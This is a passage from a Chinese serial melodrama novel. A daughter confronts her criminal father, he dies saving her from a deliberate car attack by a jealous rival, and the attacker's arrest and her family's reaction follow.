房门在许宁离开的时候就已经关上了。 傅嘉誉一页一页的翻阅文件,越是看心里就越是难受。 怎么会是这样呢?她印象中的父亲明明永远都是温柔体贴的绅士形象,也就只有许愿曾在晚宴上指责他,那时他们还闹过矛盾。 她甚至认为是许愿误会了自己的父亲都没有想过真的会跟傅长海有关联。 就像许宁想的那样,傅长海所做的一切全都暴露后,傅嘉誉是真的觉得天塌了。 傅嘉誉这样看下去,心都好像在此刻碎裂称两半。 傅京礼对她有多好傅嘉誉是很清楚的,傅长海和傅守越在国外的时候一直都是傅京礼护着她,圈子里任谁提起傅嘉誉都会说她有个好大哥。 她想要的傅京礼不论是用什么方法都会得到给她惊喜,印象最深的还是她最任性的时候喜欢一颗蓝宝石,蓝宝石是收藏品且已经被人拍走,是傅京礼跟对方合作后让利才换回了那颗蓝宝石,现在那颗蓝宝石都还在她专门的珠宝房中。 她想要的傅京礼什么没有给她? 她那时还觉得他们是关系最好的兄妹,虽然傅京礼没有了父母,但是他的父亲也是傅京礼的另一个父亲。 可到头来现实给了她一耳光告诉她,傅京礼的父母是因为他的父亲死的。 真相残忍到她根本不敢相信,不敢区承认那会是自己的父亲做的。 跟许愿的争吵换做现在更衬得她像个笑话,许愿那么恨她的父亲,只因为他做了伤害她以及她身边人的事。 甚至于温栩栩的事情真的跟他有关,他竟然真的狠到这种地步。 傅嘉誉的眼泪不由得从眼角滑落。 为什么要让她知道这样残忍的真相,这还是她的父亲吗,还是她那个温文尔雅绅士体贴的父亲吗。 这个男人实在是太陌生了。 傅嘉誉的手都在颤抖,哪怕是心痛的让她觉得自己可能下一秒就要晕过去了却也还在继续坚持着,直到真的看完了所有的资料,傅嘉誉才终于再也无法忍受这一切。 她要问清楚。 她不该相信许宁的一面之词,万一这些都是被伪造的呢? 她的父亲对她那么好,怎么能因为许宁那样几句话就跟父亲生了嫌隙! 傅嘉誉木然的站起身将资料全部都收好,抹去眼角的泪水。 她必须要找到父亲,她要听他亲口说。 …… 傅长海被放出来后也知道自己没有多少时间,但是十天时间,也还可以让他跟女儿一起在华国各处走一走,或者就在有限的时间内陪女儿做她最喜欢的事。 傅长海都已经规划好了,如果傅嘉誉想要出国,他就陪着出国,如果想要在国内他也会一直陪着,他会用这最后的十天时间去联系设计师,他可以毫不吝啬的花费大价钱为傅嘉誉定制搞定婚纱,旗袍,还有中式的婚服,他要为自己的女儿亲自筹备这一切。 他已经没有机会等到傅嘉誉跟傅守越婚礼的那天,但他希望自己能为她备好一切,这算是他能给的最后的爱了。 傅长海回到老宅,傅老爷子老泪纵横,看到他回来,老人家的身体都站不住了,还是傅长海扶住他的肩膀拍了又拍。 “活着就好,活着就好啊。” 傅老爷子这样说着。 傅长海看着好像一个之间就愈发苍老的父亲,傅长海内心颇为苦涩,却还是舔了舔唇说道:“爸,您身体硬朗,肯定更能长长久久的活着,儿子不孝,如果以后真的发生意外,您不要太伤心,还会有京礼盒嘉誉陪着你。” 都活到这个岁数了,傅老爷子什么不明白呢? 傅长海说这话就是间接告诉他没有几天可活了。 傅老爷子心里难过,连连拍着自己的大腿。 “怎么就……” 是啊,怎么就走到这一步了? 可,就该是这个结局了。 傅长海做的那些事放到古代都是要被凌迟的大罪,勾结暗网的事情都已经出来了,完全涉及了国际,只有死刑一个结局了。 现在被放出来,说不定还是什么人背地里求情才是这样的结局,否则会一直在里面被关到判处死刑的那天。 “上面怎么说的。”傅老爷子看着愈发苍老了,却还是执拗的开口想要问结果。 傅长海勉强的笑了下:“爸你放心,我不会连累傅家的,许愿……帮了我。” 傅老爷子很想骂一句谁在乎是不是会连累傅家,可听到傅长海提起许愿帮了他, 傅老爷子不由得闭上眼眸,转动着最近新购入的佛珠,喃喃道:“是阿愿啊,这辈子我们傅家欠她的东西……太多了。” 太多了,多到数不清的地步。 傅长海苦涩一笑:“爸,我时间有限,还要多陪一陪嘉誉呢。” 傅老爷子“哎”了一声:“是该这样的……好好陪陪嘉誉。” 老爷子说着,拄着拐杖背影沧桑的上楼离开,似是有些不愿面对现实一般。 傅长海望着父亲离去的身影,抬手抹去眼角险些被逼出的眼泪。 回到房间,傅长海目光又一次落到胡明阮的牌位上。 他取出之前没有烧完的纸钱,就跪在蒲团上,眼神中多带着忧愁的望着胡明阮的牌位。 “明阮,我又回来了。” “不过我也是真的没有多少时间了,现在已经是死亡倒计时了,真的是争分夺秒的过日子。” “你不知道吧,我们的女儿已经出落得很优秀很漂亮了,可惜我们两个可能都没有机会参加女儿的婚礼了。不过我会以我们两人的名义给嘉誉准备好足够的嫁妆,一定会让嘉誉风风光光的嫁出去,绝不让任何人瞧不上我们嘉誉。” 他说着说着竟然笑起来。 “嘉誉长得漂亮,穿上婚纱绝对更美,守越那孩子是个懂事的,到时一定会给我们烧几张照片来慰藉我们。” 傅长海说的愈发多了,眼睛都亮起来像是有了神采。 他越说越多,房间内都是烧过的香灰的味道,房间内的灯光都显得有些昏暗,此刻只顾着跟胡明阮交流却根本没注意到身后传来的很轻的脚步声。 第785章 你不配做我的父亲 傅嘉誉眼睛红肿的回到傅家老宅,听佣人说傅长海在房间后就直接冲了上来。 她知道傅长海一直都很爱自己的母亲,这么多年一直如此,深情不负。 现在他又在房间内,跪在蒲团上跟母亲聊天,推开门便看到傅长海此刻温润的侧脸,还像是幼年时期印象中那副模样,只是添了几许疲累。 她的父亲,好像一夜之间老了很多。 傅嘉誉望着傅长海此刻有些单薄的身影,她好像恍惚之间记起小时候父亲就是用这样看似瘦弱的肩膀背着她,然后哄着她说她永远都是他的小公主。 可是……公主的父亲是国王,不该是坏事做尽的杀人犯。 傅嘉誉一点点走近傅长海,她强忍着心中的悲意和泪意,走向前去,俯下身然后环抱住自己的父亲。 这样抱着才感受到自己的父亲到底有多瘦弱。 “爸。”她唤他。 傅长海赶紧哎了一声,傅嘉誉看到傅长海在她开口后立刻转头,眼睛都好像是亮着的,似乎是因为她的到来而激动兴奋。 这么多年了,父亲一直如此。 傅嘉誉看着面前父亲的眉眼,然后缓缓开口:“爸,我有个问题想要问你。” 傅长海面上还是那样温柔,是傅嘉誉印象中的最温柔体贴的父亲。 她语气这样平静,好像没有发生任何事,只是想跟自己的父亲谈心聊天一样。 傅长海是笑着的,傅嘉誉也是笑着的。 直到傅长海听到傅嘉誉开口的话。 “爸。” 傅嘉誉望着他问:“是你跟暗网联络劫持了温栩栩吗。” 这话才出口,傅长海脸上的笑意就好像在此刻凝固了,仿佛不清楚傅嘉誉为什么会问出这句话一般惊诧。 这样的反应,好像就已经说明了一切问题。 傅嘉誉的手逐渐攥紧。 “ 大伯和大伯母是你害死的吗。” 傅长海沉默。 “大哥被绑架也跟你有关是吗?” 傅长海看着她,仍然是长久的沉默。 “盛景炎的腿……苏青莲的设计稿……这些全部都是你背后设计的,是吗。” 她不停的开口询问,完全没有给傅长海任何反应的机会。 傅长海此刻的表现对傅嘉誉来说就已经是回应了。 “呵……” 傅嘉誉笑了。 她笑着笑着眼里就流出了泪水,她看着此刻近在咫尺明明这般温柔儒雅的父亲,心里想的却是他做过的那些事,内心翻涌的是厌恶的呕意。 傅长海把她教的多好,让她有了绝对正确的三观,清楚的知道做错的是她的父亲。 “到底为什么要这么做!” “大哥对我们不够好吗!为什么要害他!温栩栩呢!她就只是个普通的女明星!为什么要设计她!我跟她同样都是女人!你对付她的时候难道就没有想过我吗!” 傅嘉誉不懂不理解所以才会这样气愤且震撼。 傅长海心里发酸发涩。 怎么能没有想过嘉誉? 就是因为想过嘉誉,就是因为一切都为她考虑所以才会对温栩栩出手。 傅长海很想解释,但此刻却又说不出解释的话。 他太爱自己的女儿了,他深知自己没有多久的时间了,自己马上就要死了,既然这样倒不如让女儿恨他,这样等他离世后嘉誉才不会一直记起他,或许也不会因为他的死而伤心。 这样不是很好吗。 傅长海没有言语,就看着面前的女儿,听着女儿刺耳的话,他完全不反抗,若是现场真的会有致命的武器他都能直接递交到傅嘉誉手中随她处置。 可他越是这样沉默傅嘉誉就越是气愤恼怒,他这样的沉默就好像心虚。 “到底为什么这么做!你不是我父亲!你不配做我的父亲!” “我不要让一个疯子一个罪犯做我的父亲!” “我的父亲不该是这样的!我的父亲温柔体贴是这世界上最好的人!” 傅嘉誉死死的瞪着傅长海,咬牙切齿的将伤害他。 她像是发泄,发泄过后扭头就要向外跑,像是一眼都不想再多看傅长海。 “嘉誉!” 傅长海冲出去想要拦住她。 他知道傅嘉誉生气的时候总是容易冲动,他是真的怕傅嘉誉会开车冲出去,如果真的出了意外他才是要后悔一辈子。 傅嘉誉却没有开车,独自在人行道上飞速行走,傅长海赶紧跟在她身后盯紧傅嘉誉。 开车打算回家的许宁坐在车上,远远便看到傅嘉誉愤怒的路过马路,而傅长海慌张的跟在她身后。 哈。 这对父女真的闹矛盾了啊。 许宁幸灾乐祸,可还没有笑几声就想到傅嘉誉有多幸运,就算现在这样生气也迟早会原谅傅长海,到那时她还是那个有父亲和哥哥疼的傅家千金,反观她。 只有她!是被毁掉一切的倒霉蛋! 许宁内心突然涌上来的怒火一点点升腾好像下一秒就要喷涌而出。 她仍然死死盯着那对父女,不知道是哪里来的滔天的恨意,大脑中好像有另一道声音不停的蛊惑她引导她,在她耳边呢喃:“撞上去,快!撞上去!撞死那个傅家小姐!等她死了她就没有以后了!傅家的人全都会痛苦!” 对,傅嘉誉在傅家那么受宠,如果傅嘉誉死了……如果世界上没了傅嘉誉! 许宁面色狰狞,眼底的红血丝压都压不住,她一脚踩上油门对着傅嘉誉所在的方向猛地开过去。 傅嘉誉根本不知道危险即将来临,还在愤怒的奔行,满脑子都是父亲作恶欺骗自己的事,此刻好像什么都听不到了。 直到而后突然传来一声厉喝。 “嘉誉!快闪开!” 什么! 傅嘉誉完全反应不过来,整个人就被一股突然而来的大力猛地推到前方在前方的草坪上滚了一圈,身体疼的有点发抖。 可耳边传来的是巨大的碰撞声。 一个人被车子撞称一道抛物线直直撞到马路中央然后摔在地上,下一刻鲜血不停喷涌,染红了对方的衣衫。 入目……一片血红。 傅嘉誉呆呆怔怔的望着眼前的一幕,那个倒在血泊中的男人,为什么那么熟悉。 这一刻她甚至觉得自己可能眼花了或者看错了。 不可能……不可能是父亲! 第786章 有预谋的故意杀人 傅嘉誉此刻眼里已经全部都是血。 她全身都在发抖,身体已经因为过于惊慌栽到地上,可她不敢有片刻耽搁,她想站起来,可即使手撑着地面也站不起来。 全身都在抖没有任何力气。 几乎是连滚带爬的撑到一片血泊中,眼泪早已经控制不住的滑落。 “爸……” “你坚持住好不好,我带你去医院,我这就带你去医院!” 傅嘉誉不敢去碰傅嘉誉,她担心自己突然的触碰会给傅嘉誉造成二次伤害,此刻只能满脸都是泪水的双手颤抖的去给江惊蛰打电话。 江惊蛰那边接电话的速度很快,傅嘉誉唇瓣哆嗦话都快说不清了。 “车……车祸……惊蛰哥哥,我爸他出了车祸,你救救他……” 她语无伦次,可江惊蛰听懂了。 傅长海出了车祸。 “地址,我现在立刻安排附近的医生先去一趟!”江惊蛰知道是真的出了事语气严肃,可还没等到傅嘉誉开口,却突然听到现场一片惊呼和大声的叫喊。 许宁凭着那股冲动的劲儿控制着车去撞傅嘉誉,还是被傅长海救了傅嘉誉,她当然恨,恨到现在恨不能手刃傅嘉誉,现在傅嘉誉跑到傅长海身边,心里那股嫉妒的怒火再度喷涌升腾,许宁面色愈发狰狞,此刻脑海中竟然什么都想不到,只有一道声音在叫喊。 碾死她!撞死她! 只要傅嘉誉死了,只要傅嘉誉死了,她就再不是那个傅家令所有人艳羡的千金了! 对!她要让傅嘉誉死! 许宁再次控制着方向盘,车子急速朝着傅嘉誉所在的方向飞驰奔来,傅长海已经奄奄一息,他此刻目光全部都落在傅嘉誉身上。 他知道自己可能没有多少时间,他还想再好好的认真的多看一看自己的女儿。 他的嘉誉啊,他这个世界上最后的牵挂啊。 傅长海挣扎着说嘉誉不要害怕不要难过,父亲不疼,父亲只是难过不能继续陪你走更远的路,他想说的话好像太多了,直到此刻突然意识到自己的遗书写的太简短了,他该写更多的。 傅长海开口就吐出立刻血沫。 他的手有些扭曲的沾了地上自己喷涌的鲜血,用指尖在唯一一块没有被血染红的干涸地面画了一颗爱心。 嘉誉,父亲爱你。 字太多了,他觉得自己可能撑不住写完那几个字了。 傅嘉誉的眼泪越来越多,她还在跟江惊蛰通电话,忽然再一次感受到一股巨大的推力,傅嘉誉被推的身体翻滚,再一次滚进了摄制低围栏的草坪中,头顶被碎石块磕破,渗着血。 可她此刻已经感受不到任何疼了,她又一次听到巨大的碰撞声。 她浑身的血液在此刻好像已经冻僵了,她身体僵硬的看去,本就倒在血泊中的父亲被车子撞到另一头,他的血还在不停的流着,鲜血好像流不尽般的染红了干涸的地面。 “爸!” 傅嘉誉想开口大喊,可张开嘴却没有发出任何声音,好像嗓子已经被堵住了,她站不起来,就这样爬在原地,全身好像已经丢失了所有的力气。 原来人在惊慌害怕到一定程度的时候真的会站不起来,甚至无法开口说话,就像她现在。 她就是个废物,竟然连爬的力气都没有了。 眼泪还在不受控制的生理性的流着,眼前一片朦胧,却还是能对上傅长海那张满是血污的脸,他好像还醒着,眼睛里面都是对她的爱,他好像在笑。 傅嘉誉觉得自己在这一刻好像就是看懂了傅长海要说的话。 他说,嘉誉,父亲不疼。 他说,嘉誉,别担心父亲。 他说,嘉誉,父亲爱你。 傅嘉誉的眼泪流的越来越多,她已经顾不得狼狈的想爬过去,却被人突然制住。 是这边路段的交警,对方看她的眼神带着明显的怜悯。 “抱歉,你现在还不能过去,可能要稍等些时间。” 为什么要等?这种时候她还怎么等! 傅嘉誉根本不想听交警说的话,交警放轻语气解释:“这次车祸是有预谋的故意杀人,那个人还在车内,她要撞的是你,这两次都是那位先生推开了你,如果你离开绿化带对方很可能继续发狂。” 早就已经失了理智的傅嘉誉终于在此刻意识到了不对。 有预谋的故意杀人。 对,父亲推开了她两次,那个人还在车内。 那个人还在车内?凭什么?这样的该死!她该死啊! 傅嘉誉此刻面色都有一瞬的狰狞,她心里想的全都是杀了那个人! 她根本冷静不下来,眼泪还在流着,身体是软的,交警只是稍微松开她,她就完全没有力气的跪坐在地上。 交警捡起她摔落到地面的手机,还在通话中,江惊蛰似乎语气焦急的一直在喊着傅嘉誉的名字。 交警开口解释:“这位小姐被那位先生推开了,暂时没有事,只是那位先生……”交警想说大概是活不成了,但也怕这话刺激到傅嘉誉便将地址报给江惊蛰。 江惊蛰知道傅长海被二次车祸撞伤后心也沉了下来,得知地址距离医院不算远,江惊蛰直接带人亲自去现场。 不论如何,他都要亲眼看看人是不是还能救回来! 傅嘉誉还在承受不住惊吓的落泪,忽然听到车子的碰撞声,许宁似乎是知道傅嘉誉还活着,整个人已经有些癫狂的疯了。 她已经撞了一个人,撞一个人也是撞,撞一群人也是撞!反正她都已经没有好下场了,那凭什么这群人都能有个好结局!她对这些人全都带着平等的绝对的恨意! 许宁阴着脸开着车到处乱撞,此前就已经发现异样的警察疏散了人群,用警车将许宁的车逼到角落,几辆车围堵许宁的车,许宁终于没了反抗的力气。 车门被打开,许宁被完全扣押,却又在执行任务时看到许宁鼓起的肚子,这是个孕妇! 在场的人脸色都有些阴郁了。 孕妇是不能被判处死刑的,甚至因为她怀孕,就算判刑也可以监外执行。 第787章 祸害遗千年 许宁肚子里被她厌恶的孩子此刻却成了她的保护符。 许宁终于被捕,可直到戴上手铐许宁的眼睛都是猩红的,她此刻已经完全不在意自己会是什么下场什么结果了,此刻大笑几声死死的盯着傅嘉誉大喊:“傅嘉誉!傅长海绝对活不下去!他一定会死!一定会!” “是你亲手害死了你的父亲!如果不是为了救你!傅长海还能活着!” “傅嘉誉!你就是个累赘是个废物!傅长海本该祸害遗千年!” “如果我有这样的父亲,我也不会有这样的下场!你就是个废物!没用的废物!” 许宁这话其实是没有问题的。 傅长海沦落到今天的下场确实都跟傅嘉誉有关。 如果不是为了养大傅嘉誉,在胡明阮跳楼当天傅长海就跟着一起去了,如果不是为了给傅嘉誉争,傅长海不会做哪些违法犯罪的事,如果不是担心暗网对傅嘉誉下手,傅长海也不会对温栩栩下手跟暗网有勾结。 说到底傅长海沦落到今天都跟傅嘉誉脱不开关系。 可傅长海从不觉得傅嘉誉是累赘,那些东西是他自己想为傅嘉誉去争去抢,那些都不是傅嘉誉想要的,他最不想傅嘉誉因为他的事儿愧疚难过。 可许宁太懂这些了。 她就是懂傅长海对傅嘉誉的爱,更懂傅嘉誉是被傅长海养在象牙塔内天真的小公主,所以她知道傅长海作恶的话会对傅嘉誉造成多大的冲击,更明白傅嘉誉知道这一切都跟她有关更有多无法接受!她就是要让傅嘉誉承受不住,她就是要让傅嘉誉疯狂。 她已经被害到没有未来了,凭什么傅嘉誉还能高高在上! 她怎么能不恨呢? 许镇江才给了她多少爱?可傅长海又给了傅嘉誉多少爱?他把能给的都给了!但凡当初许镇江能这样爱她这样在乎她,她也绝对不会变成今天这副模样! 许宁还在疯狂的大笑,傅嘉誉几乎是被交警扶到了傅长海面前。 他还醒着,眼睛一直是对着她的。 哪怕此刻身体一直在流血,哪怕命不久矣他对着傅嘉誉的时候还是带着笑的,他一直都最爱傅嘉誉,不想让傅嘉誉伤心难过,哪怕是这种时刻,他都会露出笑。 只是他的脸上全都是鲜血,这样笑起来却已经起不到安抚作用了。 傅嘉誉望着他,可看到此刻浑身是血的傅长海,却根本不敢触碰他。 “爸……惊蛰哥哥马上就会到的,惊蛰哥哥那么厉害,一定能救你的!” 傅嘉誉眼泪还是不停的落,她这样看着傅长海,眼神一刻都不敢移开,好像怕自己一旦移开目光父亲就会……就会停止呼吸。 她的话说的断断续续的,似乎是努力了好久才能开口,可即便如此嗓子也是哑的。 傅长海冲她眨了眨眼睛,很用力的眨眼。 她看得出来,这是傅长海在安慰她。 然后她看到自己的父亲努力的将沾满血的指尖在一旁干涸没有血的地面上费劲心力的画了一颗歪歪扭扭的爱心。 嘉誉,父亲爱你。 傅嘉誉就是看懂了,她哭的愈发汹涌。 她此刻突然就因为许宁说的那些话恨上了自己。 傅长海做再多恶事,可他从来不会伤害自己,他爱的永远都是自己,而自己呢?做了什么呢?因为许宁那些话就充满恨意的去见傅长海,指责他不配做自己的父亲。 他那么爱自己,这样的话难道不是直接戳中他的心口去伤害他? 她怎么能,怎么可以…… 傅嘉誉还在自我怀疑自我指责之际江惊蛰的救护车已经到了,看到傅长海此刻的模样江惊蛰心沉下去,他其实心里已经有了定论,但他不敢当着傅嘉誉的面直接开口。 “惊蛰哥哥!我爸还有救的对不对!”傅嘉誉看到他像是看到救命稻草,江惊蛰垂眸没有给她准确的回答:“我们先带他上车,车上已经备好了东西,可能需要在路上消毒准备,嘉誉你现在不方便上车,你开车跟上吧。” 江惊蛰只是对上傅长海的眼睛就猜到傅长海的意思。 他不想傅嘉誉上车跟过来。 这是江惊蛰说的,傅嘉誉是会听的,医生的话她不得不听。 万一……真的可以救父亲呢。 傅嘉誉红着眼睛流着泪寻求了警察的帮助,上了一辆警车跟在救护车后面。 救护车内,傅长海已经开始在不停的吐血,方才在外面他一直忍到了现在。 江惊蛰看他这副模样心里一惊下了论断,内部脏器受损破裂,傅长海……没多久可活了,能救回来的概率太低了。 傅长海能感受到自己的生命在一点点流逝,身体越来越冷,疼痛感令他想要闭上眼睛长眠,往事也好像走马灯在眼前一一闪过。 他呼吸不畅的伸出手抓住江惊蛰的衣袖:“惊蛰……” 他好不容易才发出了声音,只是气息实在微弱,若非江惊蛰距离他足够近,可能都听不到他说了什么。 “纸……笔……” 江惊蛰听懂了,也明白他的意思。 他取了纸笔给他,傅长海强撑着全身的疼痛在纸上落笔。 【吾爱嘉誉。 人生不如意十之八九,我这一生唯一在意的也就只有你和你的母亲,她去得早,我因你在襁褓中实在可爱,不愿你孤苦长大,将你视作掌心宝看做我的明珠养大。 可人生在世能随你走到最后的不是父母不是子女,而是爱人伴侣,你身边有了守越我很放心,他能陪你一直到最后,我也是时间该去陪你的母亲了。 嘉誉,不要为父亲难过,父亲不会怪你。 我的嘉誉是这世界上最优秀最漂亮最善良最聪慧的女孩儿,若是可以我愿用这世界上所有最美好的词汇来夸赞我的女儿。 我做过错事,但我这辈子做的最成功的一件事就是将我的女儿教养成了善良的好人,你会质问我怀疑我是因为我的女儿足够善良。 父亲不会怪你,只会自豪。 父亲本也打算早些去陪你母亲,只是没想到还能救下我的女儿。】 第788章 让许宁付出代价 【嘉誉,不要为父亲难过,父亲不觉得疼,不觉得离开是一件坏事,这对我来说是解脱,我终于可以去见我的爱人。 对爱人,我终于可以去见她,对你,这是我的勋章,是我用命护下了我的女儿,我很自豪。 所以不要为我难过,父亲永远都希望嘉誉是那个天真烂漫善良可爱的女孩儿,不要哭,要笑着,要开心。】 傅长海写到最后字却越写越大越写越无力,他的身体疲软,眼皮已经快要睁不开。 江惊蛰想尽快进行手术,傅长海却虚弱一笑。 “惊蛰,不需要了。” 不需要了,他知道自己救不回来了。 人在死前都是有预感的,就像现在他感觉自己已经在一瞬间回忆起了过去几十年的记忆。 开心的、幸福的、激动的、兴奋的、悔恨的、痛苦的……所有的记忆好似在此刻要将他的脑袋挤到爆炸。 他恍恍惚惚的好像整个人都回到了过去,看到大哥傅长宁脸上挂着温柔的笑意,像是被他逗笑了,伸手拍了拍他的头,大嫂在一旁打趣,他好像在这一瞬间忘记了这些年的仇恨。 他看到明阮也对他笑着说,长海,这么多年辛苦你了,我等你好久了,我们回家。 傅长海终于控制不住的留下了热泪,可耳边却又好像听到了傅嘉誉的哭喊声,傅长海却已经不想回头了。 嘉誉已经有了傅守越,可明阮只有他了。 傅长海脸上带着笑挂着泪满足的闭上了眼睛。 救护车早就到了医院,还没有进急救室,傅长海就已经永远闭上了眼睛,只有身体还是温热的,没有完全变凉。 紧跟其后的傅嘉誉跪在地上哭喊。 她从小到大都没有这样惨烈的哭过,可这一次竟然是为了自己的父亲而哭。 怎么可以接受呢,怎么能…… “爸!爸你睁开眼看看我!” “爸!我错了!我不该怀疑你的我不该让你难过的!你别走!” “爸!你醒过来好不好!没有你我该怎么办!” 从小被傅长海养大的小公主,从小被他捧在手心教养长大的,她只要皱皱眉哼一声都会让傅长海心疼哄上一天。 可那个只要一眼就知道她不开心,永远站在她身边维护她的父亲就这样离开了。 天好像在此刻塌陷。 身边的人都站在阳光下,只有她站在暴雨中,大雨倾盆,可是那个会一直为她撑伞的人却已经去了另一个世界。 傅守越得到消息赶过来时看到的就是这一幕。 傅嘉誉跪在地上泣不成声的哭喊道歉,她一遍遍的说是自己的错,不该去怀疑傅长海。 傅守越的心在此刻彻底揪紧。 傅长海会死会离世这件事傅守越其实早就猜得到,只是没想到这意外会来的这么突然,甚至真的当着嘉誉的面让她目睹傅长海的离世,这对她何尝不是一种凌迟? “嘉誉。” 傅守越半跪在她身边,傅嘉誉此刻脆弱到极点,听到傅守越的声音,泪水好像在一瞬间凝住,然后更汹涌的落下。 她像是在这一刻终于找到了主心骨一般扑到了傅守越怀里。 “哥……我要父亲!我要父亲!” 怎么可能不懂傅嘉誉对傅长海的感情呢? 傅守越知道傅长海是个无恶不作的混蛋,可他对傅嘉誉那是真的宠上天,有的时候他甚至觉得自己都比不上傅长海对傅嘉誉的爱。 他沉默着,没有办法说出其它的话。 能说什么?说不要难过不要哭?这都是废话,如果他是嘉誉,身边有人这样安慰自己,他一定会觉得身边的人是个不懂自己的混蛋。 她想哭就只能让她哭,让她发泄。 他能做的就是守着她护着她。 看到傅嘉誉这样痛苦,江惊蛰心里也不舒服,他将在救护车上傅长海写下的遗书递到傅嘉誉面前。 “路上你父亲写的,看看吧。” 那是一张沾满了消毒水味道和血腥味儿的纸,甚至此刻整张纸有些边角地方都已经被鲜血染透了。 傅嘉誉抿唇,眼底都是执拗,却还是接过那份“遗书”。 一个字一个字的看到最后,傅嘉誉很怕自己漏掉哪一个字。 她边看边哭,哭的愈发汹涌。 甚至那“吾爱嘉誉”四个字她看了数次。 她的父亲真的很爱她,哪怕是被撞倒在血泊中却还要在路边用手画出一颗心告诉她。他爱她。 她想哭,不停地哭,可哭又有什么用的? 父亲说想让她不要难过,想让她不要继续哭,要让她开心的。 傅嘉誉痛苦的笑着,可眼泪却止不住,她又怕自己的泪水打湿这张纸,颤抖着将那份鲜红的遗书捧在怀里。 好像这样就抱住了自己的父亲。 不知过了多久,傅嘉誉终于停止了哭泣,她抹去脸上的泪水,眼底浓重的哀愁和悲伤根本化不开,可在眼底更深处夹杂着的却是愈发汹涌的恨意。 “哥,是许宁想要开车撞我,父亲推开了我,是许宁做的。” 傅嘉誉不甘的抓住傅守越的衣袖:“哥,我要让许宁付出代价,我要让她一辈子痛苦,我要让她想死都死不成……” 她从来不会有多狠毒的想法,但此刻她恨毒了许宁,她要让许宁知道什么才是真正的痛苦。 “好,剩下的全部交给我。”傅守越抱住身体都在颤抖的傅嘉誉,声音低沉:“你不用插手,剩下的一切我来安排。” 在听到傅嘉誉说许宁想开车撞她那一瞬,傅守越就想直接将许宁整个捏碎。 如果不是傅长海,那现在躺在这里闭上眼的就会是他的嘉誉了。 可……让许宁死去那怎么算是惩罚,那是一种奖励。 他不会放过许宁,他会真的做到让许宁痛苦一生的去忏悔。 …… 许宁被扣押带走后许镇江接到了许宁打来的电话,他这一生只有许宁这么一个血脉,且许宁肚子里还怀了一个,他是真的担心许宁出意外,赶紧马不停蹄的往警局赶,他甚至都不知道许宁到底做了什么。 如果知道,他或许会想要逃。 第789章 又弄什么乱七八糟的? “你到底在说什么!什么叫你杀了人!你杀谁了?” 许镇江是知道许宁得罪了傅守越和傅嘉誉的事,这件事傅守越轻飘飘揭过,只给了他消息让他尽快让许宁嫁出去,虽然他给许宁安排的对象就是一个男公关,可现在许镇江已经不敢挑剔更多了。 他知道自己的女儿心有多大,一心只想要嫁入豪门,现在傅守越选的是普通人倒还好,但凡是给许宁一点机会,许宁可能都要继续往上爬,做更多连他都难以想象的事情。 所以哪怕许镇江再不喜欢这个女婿的身份也只能受着。 好歹……他是真的给自己女儿留了个血脉,好歹这人往日里服饰人服饰习惯了,只要给钱给东西就能把他哄的高高兴兴的。 这几天许镇江也跟男公关接触了不短的时间,自然知道这人不是什么多坏的人,早前也是因为家庭原因才去当了男公关想多赚点钱,现在许镇江给够了他钱他立刻就辞职。 这人是个有脑子的,也知道自己的身份上不得台面许家人不一定真的接受自己,说不定以后会扫地出门,所以拿到许镇江给的钱后就在帝城买了一套小房子,这样就算以后被赶出去也有个自己的小家可以去。 男公关学历也不算高,现在趁着这个时间还打算继续念书考个学历,倒也没戏那个爬多高,只是不想以后被人提起就是奚落看不起。 他在许家是真没有过这样的好日子,在许家什么都不用做每天有专人打扫房间,到点就有自己爱吃的饭菜,对他来说跟神仙日子没什么区别。 男公关本来心里有愧的,毕竟那晚就是傅守越给了钱让他跟许宁睡了,他到底是有正常三观的,往日都是有钱的富婆主动的,这次却是有人花钱买他去睡一个无辜的女人,他心里不舒服甚至觉得自己这样下作。 直到来了许家后才大概明白自己未来的妻子是个什么样心狠手辣的女人。 他本不想继续跟许宁结婚,就算是他也会怕这样的枕边人。 他怎么能不懂呢?他的那些同事中就有想要往高处爬的,玩完就扔的漂亮小姐更是一抓一大把,没有真的跟谁绑住就是觉得对方不是真正的千金,许宁这种心理他也猜得到。 无非是觉得自己出身不凡所以想要嫁入豪门,可偏偏不如意的要跟他这样算得上低劣的人绑定,说不定以后会睡着睡着勒死他。 他当然怕。 可傅守越那边给了他一大笔钱,给他在帝城购置了房子车子,比之他先前买的小房子还大,是他这辈子都买不起的高档房子,他也是被钱迷了眼,就同意可继续跟许宁结婚。 反正结婚后不跟许宁睡一个房间就好,只是领个证,领完证他也可以偷偷躲起来,不被许宁找到就好了。 这不,不等他想着躲起来呢,许镇江却跟他有共同话题了。 许镇江年级大了,心里只装着一个苏青莲,对许愿是带着恨意的所以许愿不会来看他更不会对他有什么感情,许宁呢?因为之前那些事也是常常不着家的,现在到只有男公关陪着他,也就这么几天许镇江到时有些认可这人当自己女婿了。 虽然是个男公关,但长得不错,没有什么好的家室但胜在听话,他们许家已经不需要再多一些有自己主意的人了,许家,经不起折腾了。 但万万没想到,不等许镇江想过几天安稳日子,他的女儿又闹出了乱子。 接到许宁电话时许镇江还在跟男公关下棋,听到许宁说给她找律师心里就咯噔一下。 直到许宁大吼说她撞死人需要律师辩护。 撞死人……撞死谁了! 许镇江忍不住想到最近这段时间许宁的癫狂,他忍不住吞咽口水:“你撞了谁!” 他知道许宁最恨谁,恨许愿恨傅家人,可这些哪一个都不是他们家能招惹的啊! “我撞了傅长海!我就是要让傅嘉誉痛苦!我要让她一辈子都记得她的父亲是为了救她而死的!”许宁痴狂的叫喊着,完全没有觉得自己这样做是错的。 许镇江身体一个踉跄,大脑都在此刻宕机了。 撞了傅长海。 傅长海死了。 许宁一定是疯了!她一定是疯了!她怎么敢的!怎么敢真的去动傅家人! “你……许宁!你迟早要把许家害死!” 许镇江胸腔不停起伏,他觉得自己此刻必须要撑住,不然真的会被气晕过去。 他呼吸急促的喘息着,还是男公关扶着人坐到了沙发上:“你现在怀着孩子不会重判的,就怕傅家人找人让你这段时间在狱中生不如死,你这孩子……我也怕傅家人不肯让你生了。” “谁要生这个孩子!他们最好是立刻把这孩子打掉!”许宁的声音尖利刺耳。 “他的父亲是个废物是个孬种!是个烂货!谁要生!”许宁嘲讽的难听话喷涌而出,哪怕是许镇江的手机隔音效果好也还是让他身旁的男公关听清楚了许宁那些侮辱性极强的话。 男公关虽然心里受伤,但面上却还是没什么表情,他自己也知道自己上不得台,堂堂千金小姐跟自己这种人睡了不高兴是正常的。 “你闭嘴!你是真要让我们许家绝后吗!这个孩子如果生不下来,以后你都不可能再有孩子!傅家人不可能给你这个机会了!这个孩子必须生下来!我去求许愿!” 听到许镇江提到许愿,许宁更加惨烈的的大叫。 